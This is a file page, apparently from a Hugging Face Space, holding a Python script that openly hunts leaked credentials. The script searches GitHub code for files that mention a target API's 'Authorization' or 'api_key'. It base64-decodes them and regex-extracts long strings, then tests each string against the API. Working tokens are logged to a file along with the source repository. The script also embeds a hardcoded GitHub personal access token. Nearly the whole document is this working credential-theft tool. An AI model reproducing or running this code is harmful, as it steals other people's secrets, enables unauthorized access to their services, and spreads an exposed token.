Spaces:
Configuration error
Configuration error
File size: 1,806 Bytes
2edf92a 982d2f8 113c59e 952ea62 982d2f8 952ea62 a67309a 952ea62 982d2f8 952ea62 982d2f8 952ea62 113c59e 952ea62 113c59e 952ea62 113c59e 982d2f8 952ea62 982d2f8 952ea62 982d2f8 113c59e 952ea62 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | ---
title: Analyz
emoji: 🕵️
colorFrom: red
colorTo: black
sdk: streamlit
app_file: main.py
pinned: false
---
import requests
import base64
import re
import time
# --- KONFIGURASI AMUNISI ---
GITHUB_TOKEN = "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"
TARGET_API = "https://vapi.exoliner.wtf"
QUERY = 'vapi.exoliner.wtf "Authorization" OR "api_key"'
def validate_token(token):
headers = {"Authorization": token, "User-Agent": "Exoliner-Hunter/2026"}
try:
res = requests.get(TARGET_API, headers=headers, timeout=5)
if res.status_code == 200:
print(f"\n[!!!] TOKEN VALID DITEMUKAN: {token}")
print(f" Data: {res.json()}\n")
return True
except:
pass
return False
def start_carnage():
search_url = f"https://api.github.com{QUERY}"
headers = {"Authorization": f"token {GITHUB_TOKEN}"}
print("[*] Memulai perburuan token di GitHub...")
res = requests.get(search_url, headers=headers).json()
items = res.get('items', [])
for item in items:
file_res = requests.get(item['url'], headers=headers).json()
if 'content' in file_res:
content = base64.b64decode(file_res['content']).decode('utf-8', errors='ignore')
# Regex buat nyari string panjang (biasanya token/key)
tokens = re.findall(r'["\']([a-zA-Z0-9_\-\.]{20,})["\']', content)
for t in tokens:
print(f"[*] Mengetes potensi token: {t[:10]}...", end="\r")
if validate_token(t):
with open("token_valid.txt", "a") as f:
f.write(f"Token: {t} | Repo: {item['html_url']}\n")
time.sleep(2) # Biar nggak kena rate limit GitHub
if __name__ == "__main__":
start_carnage()
|